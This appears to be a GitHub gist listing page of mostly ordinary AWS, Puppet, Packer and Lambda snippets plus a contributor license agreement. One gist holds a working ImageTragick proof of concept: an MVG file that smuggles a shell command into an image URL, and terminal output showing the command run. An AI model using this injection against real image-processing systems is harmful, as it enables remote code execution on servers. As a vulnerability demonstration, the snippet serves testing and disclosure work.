Skip to content

Instantly share code, notes, and snippets.

View lambda_timeout.py
import time
from thundra.thundra_agent import Thundra
from thundra.plugins.trace.traceable import Traceable
THUNDRA_API_KEY = os.environ.get('THUNDRA_API_KEY', '')
thundra = Thundra(api_key=THUNDRA_API_KEY)
@Traceable(trace_args=True, trace_return_value=True)
def _action_a():
@tmclaugh
tmclaugh / .bashrc
Created Jan 30, 2018
goaws() bash function
View .bashrc
goaws () {
PROFILE=$1
export AWS_REGION='us-east-1'
export AWS_DEFAULT_PROFILE=$PROFILE
# this will override the profile used by some tools so let's not set that
# even though it's standard.
#export AWS_PROFILE=$PROFILE
export _SLS_STAGE=$(echo $AWS_DEFAULT_PROFILE | cut -s -d '-' -f 2)
export SLS_STAGE=${_SLS_STAGE:-prime}
View cla.md

CloudZero Individual Contributor License Agreement

In order to clarify the intellectual property license granted with Contributions from any person or entity, CloudZero Inc. ("CloudZero") must have a Contributor License Agreement ("CLA") on file that has been signed by each Contributor, indicating agreement to the license terms below. This license is for your protection as a Contributor as well as the protection of CloudZero; it does not change your rights to use your own Contributions for any other purpose.

You accept and agree to the following terms and conditions for Your present and future Contributions submitted to CloudZero. Except for the license granted herein to CloudZero and recipients of software distributed by CloudZero, You reserve all right, title, and interest in and to Your Contributions.

  1. Definitions. "You" (or "Your") shall mean the copyright owner or legal entity authorized by the copyright owner that is making this Agreement with CloudZero. For legal entities, the entity making a Cont
View gist:fb72dbe9a30ba36279b2704ef84dc4d3
vpc:
Type: AWS::EC2::VPC
Properties:
CidrBlock: "10.0.0.0/16"
EnableDnsSupport: false
EnableDnsHostnames: false
Tags:
- Key: Name
Value: ${self:service}-${self:provider.stage}
# This doesn't work for all regions but handles the vast majority. I hope
View keybase.md

Keybase proof

I hereby claim:

  • I am tmclaugh on github.
  • I am tmclaugh (https://keybase.io/tmclaugh) on keybase.
  • I have a public key ASCtS7R9AqFYgumKTe_dcc83-C9b8sZr50OYRnGtkbKx0wo

To claim this, I am signing this object:

@tmclaugh
tmclaugh / gist:24da549ae14de11361137ca7d39aa03d
Created May 4, 2016
Remember to enable security for that added fuck you when exploiting ImageTragick
View gist:24da549ae14de11361137ca7d39aa03d
## ImageTragick with HTTPS URL results in code execution
vagrant@default-ubuntu-1404:~$ cat image-https.mvg
push graphic-context
viewbox 0 0 1 1 image over 0,0 0,0 'https://www.imagemagick.org"; echo CODE EXECUTION"'
pop graphic-context
vagrant@default-ubuntu-1404:~$ convert image-https.mvg image-https.png
CODE EXECUTION
convert.im6: unable to open image `/tmp/magick-M70rA2Ky': No such file or directory @ error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-M70rA2Ky': No such file or directory @ error/constitute.c/ReadImage/583.
View ec2tags.rb
require 'facter'
require 'json'
if Facter.value("ec2_instance_id") != nil
instance_id = Facter.value("ec2_instance_id")
region = Facter.value("ec2_placement_availability_zone")[0..-2]
tags = Facter::Util::Resolution.exec("aws ec2 describe-tags --region #{region} --filters \"Name=resource-id,Values=#{instance_id}\" --query 'Tags[*].{value:Value,key:Key}'")
parsed_tags = JSON.parse(tags)
parsed_tags.each do |tag|
View ec2tags.rb
require 'facter'
require 'aws-sdk'
if Facter.value("ec2_instance_id") != nil
instance_id = Facter.value("ec2_instance_id")
region = Facter.value("ec2_placement_availability_zone")[0..-2]
ec2 = Aws::EC2::Client.new(region:region)
instance = ec2.describe_instances(instance_ids:[instance_id])
tags = instance.reservations[0].instances[0].tags
tags.each do |tag|
View gist:46f8bcc1fcd459171ee8
/etc/puppet/csr_attributes.yaml:
---
extension_requests:
pp_preshared_key: PUPPET_PSK
Puppet output:
Info: Creating a new SSL key for puppet.hubspot.local
Info: Caching certificate for ca
Info: csr_attributes file loading from /etc/puppet/csr_attributes.yaml
@tmclaugh
tmclaugh / gist:cc7488749dd78156824f
Last active Aug 29, 2015
Packer - Post-processors
View gist:cc7488749dd78156824f
"post-processors":
[
{
"type" : "vagrant",
"output" : "centos65.box"
}
]